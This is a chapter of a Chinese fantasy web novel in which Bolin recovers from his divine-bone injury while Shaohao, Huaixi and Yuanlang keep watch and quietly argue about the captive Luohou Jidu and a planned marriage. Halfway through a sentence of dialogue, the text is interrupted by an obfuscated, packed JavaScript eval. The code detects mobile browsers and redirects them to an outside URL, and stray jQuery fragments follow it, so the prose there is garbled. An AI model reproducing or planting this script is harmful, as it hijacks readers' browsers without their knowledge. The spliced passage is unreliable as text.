51. 静养时光 暗议隐患

作品:《无为执

    静室之中弥漫着淡淡的宁神药香,柏麟静静趴在铺着厚厚云锦的玉榻上,脊背处被洁净的云纱仔细包裹,勾勒出略显单薄的轮廓。距离神骨归位已过去数日,那撕裂般的剧痛逐渐被持续不断的酸胀钝痛取代,如同无数细小的针在骨缝里钻磨,让他无法挪动分毫,只能维持着这个姿势,在清醒与昏沉的边缘徘徊。


    少昊、怀羲、元朗三人,如同最忠诚的守卫,几乎寸步不离地守在榻边。


    少昊端坐于榻前不远处的蒲团上,闭目调息,周身散发着沉静而浩瀚的气息,如同一座无形的山岳,为这方静室带来绝对的安稳。他的神念时刻笼罩着柏麟,关注着他每一次微弱的呼吸起伏,以及脊背伤口处缓慢的愈合进程。


    怀羲则坐在稍侧一些的位置,目光几乎未曾离开过榻上沉睡的、或者说是痛得昏沉的柏麟。他看着弟弟苍白的侧脸,紧抿的唇线,额角因隐痛而沁出的细密冷汗,心中那名为“悔恨”与“疼惜”的藤蔓便缠绕得更紧一分。他手中无意识地捻着一块温润的暖玉,那是他从昆仑宝库中寻来的,本想等柏麟好些了给他握着把玩,此刻也只能静静攥在自己掌心。


    元朗则显得有些坐立不安。他不敢像少昊那样入定,也不敢像怀羲那样直勾勾地盯着看,怕扰了柏麟。他一会儿蹑手蹑脚地去查看炉火上的药罐,一会儿又去整理窗边摆放的仙葩,动作轻得不能再轻。更多的时候,他只是蹲在榻边不远处的脚踏上,双手托着腮,愁眉苦脸地看着柏麟,仿佛承受痛苦的是他自己。


    殿内静得只剩下柏麟微弱而略显急促的呼吸声,以及药罐里药汁翻滚的细微咕嘟声。这种沉重的安静持续了许久,久到窗外的天光都渐渐暗淡下来。


    终于,在一次确认柏麟的呼吸变得绵长平稳,似乎陷入了更深沉的昏睡后,元朗才长长地、无声地叹了口气。这口气叹得极其压抑,却像投入平静湖面的石子,瞬间打破了室内的沉寂。


    闭目调息的少昊眼睫微不可察地动了一下,并未睁眼。怀羲却立刻将目光从柏麟身上移开,锐利地看向元朗,眉头微蹙,用几不可闻的声音道:“怎么了?可是麟儿有异?”


    元朗连忙摆手,也压低了嗓子,愁容满面地小声道:“不是小师弟……他好不容易睡沉了些。我是……我是想到另一个大麻烦,心里堵得慌!”


    “大麻烦?” 怀羲眼神一凝,“谁?”


    “还能有谁?” 元朗翻了个白眼,用口型无声地吐出四个字:“罗、喉、计、都!”


    怀羲的脸色瞬间沉了下来,眸底闪过一丝冰冷的杀意。他看了一眼榻上沉睡的柏麟,确保没有被惊动,才同样用极低的声音,斩钉截铁地说:“他如今被囚在昆仑后山,有我亲手设下的禁制,插翅难逃!有何可忧?”


    “话是这么说……” 元朗搓着手,显得忧心忡忡,“可那疯子就是个不定时的火药桶!他现在是消停了点,可谁知道哪天又发了疯?万一……我是说万一!他要是知道了小师弟神骨初愈,正是最虚弱的时候……他那疯劲儿上来,谁知道能干出什么事?他可是对小师弟……” 元朗的话戛然而止,脸上露出略微嫌恶的表情,显然是想起了罗喉计都那扭曲的心思。


    怀羲放在膝上的手猛地攥紧,指节捏得发白,手心的暖玉几乎要被他捏碎。他眼中寒光凛冽,声音压得更低,却带着一种令人心悸的决绝:“他敢!他若敢动麟儿一根头发丝……无需师尊出手,我怀羲定亲手将他挫骨扬灰!形神俱灭!永世不得超生!” 每一个字都像是从牙缝里挤出来的,充满了毫不掩饰的杀伐之气。此刻的他,不再是那个雍容无为的天帝,而是一个护犊心切、不惜一切代价也要守护弟弟、铲除威胁的兄长。


    元朗被怀羲这突如其来的狠厉杀气震了一下,缩了缩脖子。他毫不怀疑怀羲说到做到。但随即,他又想起了另一桩事,贼兮兮地凑近怀羲,声音压得更低,带着几分司命才有的八卦:“陛下,说到麻烦……那个羲玄太子……真让他娶褚璇玑啊?就战神转世那个?您还真打算让她当侧妃?”


    怀羲被这八竿子打不着的话题弄得一愣,随即眉头皱得更紧,语气带着一丝不耐和帝王的冷漠:“羲玄执意如此,本座既已应允……一个凡间女子,纵有些来历,封个侧妃已是恩典


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953176|193089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。只要她安分守己,不生事端,随他们去便是。羲玄自有他的缘法,无需本座过多干涉。”


    “啧啧啧……” 元朗立刻咂着嘴,一脸“我就知道”的表情,低声道,“陛下,您这心可真够大的!那可是战神转世!跟罗喉计都、跟咱们小师弟都牵扯不清的主儿!您就不怕她哪天想起来点啥,或是被有心人利用,再闹出什么幺蛾子来?还侧妃……您就不怕哪天她吹吹枕头风,把您那宝贝太子给带沟里去?我看呐,这麻烦不比后山那个小!” 元朗一边说一边摇头晃脑,一副“您这爹当得忒不靠谱”的模样。


    怀羲被他说得脸色发黑,却又一时语塞。他确实对褚璇玑的存在有些膈应,但为了安抚羲玄,也为了尽快了结这桩因果,才允了侧妃之位。元朗的话虽然不中听,却也戳中了他心底的一丝隐忧。他沉着脸,低喝道:“闭嘴!休要胡言!此事本座自有分寸!”


    元朗撇撇嘴,生怕吵到柏麟,只用极小的声音嘟囔:“分寸分寸……我看是心软……当爹的心都偏……”


    两人的低语争执虽然极力压低了声音,但在如此静谧的室内,依旧如同细微的蚊蚋。一直闭目调息的少昊缓缓睁开了眼睛。他那双深邃如渊的眼眸扫过争执的两人,最终落在榻上沉睡的柏麟身上。


    柏麟似乎并未被惊扰,只是那原本因昏睡而舒展的眉心,此刻又微微蹙起了一点小小的褶皱,仿佛在梦中也被这压抑的暗流所扰。


    少昊无声地叹了口气,站起身,走到榻边。他并未理会怀羲和元朗,只是伸出宽厚温暖的手掌,极其轻柔地抚过柏麟微蹙的眉心,动作带着无尽的安抚与疼惜。那温暖而沉静的力量仿佛带着奇异的力量,柏麟微蹙的眉心在父神的抚触下,缓缓地、一点一点地舒展开来,呼吸也重新变得安稳绵长。


    怀羲和元朗见状,立刻噤声,屏息凝神,不敢再发出一丝声响。殿内重新陷入一片沉静,只有药香弥漫,以及父神守护幼子的无声暖流静静流淌。后山的隐患,天界的麻烦,似乎都被隔绝在了这方小小的静室之外。此刻,唯有榻上那人缓慢愈合的伤痛,牵动着守护者每一根心弦。